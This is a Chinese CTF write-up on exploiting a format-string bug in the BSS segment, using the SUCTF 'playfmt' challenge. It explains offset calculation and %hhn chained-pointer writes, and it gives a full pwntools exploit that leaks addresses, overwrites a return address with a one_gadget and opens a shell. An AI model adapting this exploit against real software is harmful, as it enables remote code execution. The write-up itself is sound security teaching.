0x00前言
关于Linux栈上格式化字符串漏洞的利用网上已经有许多讲解了,但是非栈上的格式化字符串漏洞很少有人介绍。这里主要以上周末SUCTF比赛中playfmt题目为例,详细介绍一下bss段上或堆上的格式化字符串利用技巧。
0x01基础知识点
格式化字符串漏洞的具体原理就不再详细叙述,这里主要简单介绍一下格式化参数位置的计算和漏洞利用时常用的格式字符。
参数位置计算
linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,...
;因此$esp+x
的位置应该是格式化第x/4
个参数。
linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...
;因此$rsp+x
的位置应该是格式化第x/8+6
个参数。
常用的格式化字符
用于地址泄露的格式化字符有:%x、%s、%p
等;
用于地址写的格式化字符:%hhn
(写入一字节),%hn
(写入两字节),%n
(32位写四字节,64位写8字节);
%< number>$type
:直接作用第number个位置的参数,如:%7$x
读第7个位置参数值,%7$n
对第7个参数位置进行写。
%<number>c
:输出number个字符,配合%n
进行任意地址写,例如"%{}c%{}$hhn".format(address,offset)
就是向offset0
参数指向的地址最低位写成address
。
0x02非栈上格式化字符串漏洞利用
一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n
的方法改写入system或one_gadget
地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面以SUCTF中playfmt为例,介绍一下常用的非栈上格式化字符串漏洞的利用方法。
例题
题目说明
程序漏洞点比较明显,直接写了一个循环的printf
格式化漏洞,而输入的数据是存储在buf
指针上,buf
则是位于bss段中地址为0x0804B040
。
int do_fmt(void)
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
.bss:0804B040 public buf
.bss:0804B040 ; char buf[200]
.bss:0804B040 buf db 0C8h dup(?) ; DATA XREF: do_fmt(void)+E↑o
查看一下程序的保护,可以发现开启了RELRO,也就是无法改写GOT表,所以思路就是直接修改栈上的返回地址,return
的时候劫持流程。
泄漏地址
首先需要得到当前栈的地址和libc
的基地址,这些地址可以很轻松的在栈上找到,其中esp+0x18
存放了栈地址,esp+0x20
存放了libc
的地址,可以得到分别是第6个参数和第8个参数,直接传入%6$p%8$p
即可得到栈地址和libc
地址。
任意地址写
这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构,如0xffb5c308->0xffb5c328->0xffb5c358
,这三个地址都在栈上。
下图是一个简单的栈地址空间图,offset
表示格式化的参数位置。通过第offset0
个参数,利用%hhn
可以控制address1
的最低位,再通过第offset1
个参数,利用%hhn
可以写address2
的最低位;然后通过offset0
参数,利用%hhn
修改address1
的最低位为原始值+1
,再通过offset1
参数,利用%hhn
可以写address2
的次低位;依次循环即可完全控制address2
的值,再次利用address1和address2
的链式结构,即可实现对address2
地址空间的任意写。对应到上面显示的地址空间,address0=0xffb5c308,offset0=0x18/4=6;address1=0xffb5c328,offset1=0x38/4=14;address2=0xffb5c358,offset2=0x68/4=26;
下面是地址写代码的实现,首先获取address1
的最低位的原始值,然后依次写address2
的各个字节。
def write_address(off0,off1,target_addr):
io.sendline("%{}$p".format(off1))
io.recvuntil("0x")
addr1 = int(io.recv(8),16)&0xff
io.recv()
for i in range(4):
io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
io.recv()
io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
io.recv()
target_addr=target_addr>>8
io.sendline("%{}c%{}$hhn".format(addr1,off0))
io.recv()
效果图如下,可以看到esp+0x68
的位置已经是栈上返回地址的存放位置(这是另一次的运行截图,栈地址有所变化)。
再次运行write_address
将0xfff566cc
写上one_gadget
地址(libc.address+ 0x5f065)。
最后输入quit
退出循环,执行return result
时就能获取shell。
EXP
# coding=utf-8
from pwn import *
#io = remote('120.78.192.35', 9999)
io = process("./playfmt")
elf = ELF('./playfmt')
libc = ELF('/lib32/libc-2.23.so')
#context.log_level = 'DEBUG'
#gdb.attach(io,"b *0x0804889f")
io.recv()
io.sendline("%6$p%8$p")
io.recvuntil("0x")
stack_addr = int(io.recv(8),16)-0xffffd648+0xffffd610
io.recvuntil("0x")
libc.address = int(io.recv(8),16)-0xf7e41000+0xf7c91000
log.success("stack_addr:"+hex(stack_addr))
log.success("libc_addr:"+hex(libc.address))
io.recv()
offset0=0x18/4
offset1=0x38/4
offset2=0x68/4
def write_address(off0,off1,target_addr):
io.sendline("%{}$p".format(off1))
io.recvuntil("0x")
addr1 = int(io.recv(8),16)&0xff
io.recv()
for i in range(4):
io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
io.recv()
io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
io.recv()
target_addr=target_addr>>8
io.sendline("%{}c%{}$hhn".format(addr1,off0))
io.recv()
one_gadget = libc.address+ 0x5f065
print(hex(one_gadget))
write_address(offset0,offset1,stack_addr+0x1c)
#gdb.attach(io,"b *0x0804889f")
write_address(offset1,offset2,one_gadget)
io.sendline("quit")
io.interactive()
0x03总结思考
这里简单总结一下上述漏洞利用的使用条件:
首先是需要一个循环触发格式化字符串漏洞的条件,上述的例题中直接存在循环触发漏洞的情况,如果实际情况只能单次触发,可以尝试能否劫持__libc_csu_fini/malloc/free等
函数造成循环触发漏洞;
然后就是需要栈上存在单链表结构,64位程序需要三个节点地址,32位程序可能只需要两个节点(本地测试32位的地址可以通过%n一次性写入);
最后需要在循环触发漏洞的期间,栈上使用到的地址空间不被破坏。
发表评论
您还未登录,请先登录。
登录